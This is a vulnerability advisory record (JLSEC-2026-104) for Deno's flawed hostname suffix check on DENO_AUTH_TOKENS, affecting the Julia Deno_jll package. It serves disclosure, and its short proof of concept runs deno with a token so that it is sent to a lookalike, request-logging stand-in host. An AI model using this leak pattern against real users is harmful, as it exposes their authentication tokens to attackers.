JLSEC-2026-104

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Source
https://github.com/JuliaLang/SecurityAdvisories.jl/blob/main/advisories/published/2026/JLSEC-2026-104.md
Import Source
https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-104.json
JSON Data
https://api.osv.dev/v1/vulns/JLSEC-2026-104
Upstream
  • EUVD-2024-0827
Published
2026-04-14T13:10:46.494Z
Modified
2026-07-25T18:23:46.706131711Z
Severity
  • 4.6 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Deno's improper suffix match testing for `DENO_AUTH_TOKENS`
Details

Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Details

authtokens.rs uses a simple endswith check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.

PoC

  • Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com.
  • Run DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com
  • Observe that the token intended only for the truncated domain is sent to the full domain

Impact

What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

Database specific 
{
    "license": "CC-BY-4.0",
    "sources": [
        {
            "id": "CVE-2024-27932",
            "published": "2024-03-21T02:52:21.953Z",
            "imported": "2026-07-17T21:08:56.723Z",
            "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2024-27932",
            "modified": "2026-06-17T07:20:37.380Z",
            "html_url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27932",
            "database_specific": {
                "status": "Analyzed"
            }
        },
        {
            "id": "GHSA-5frw-4rwq-xhcr",
            "published": "2024-03-06T17:03:36Z",
            "imported": "2026-07-17T21:08:56.922Z",
            "url": "https://api.github.com/advisories/GHSA-5frw-4rwq-xhcr",
            "html_url": "https://github.com/advisories/GHSA-5frw-4rwq-xhcr",
            "modified": "2024-03-21T18:25:43Z"
        },
        {
            "id": "EUVD-2024-0827",
            "published": "2024-03-06T20:45:16Z",
            "imported": "2026-07-17T21:09:05.325Z",
            "url": "https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2024-0827",
            "html_url": "https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-0827",
            "modified": "2024-08-05T16:59:34Z"
        }
    ]
}
References
Credits

Affected packages

Julia / Deno_jll

Package

Name
Deno_jll
Purl
pkg:julia/Deno_jll?uuid=04572ae6-984a-583e-9378-9577a1c2574d

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.0.0+0

Database specific

source 
"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-104.json"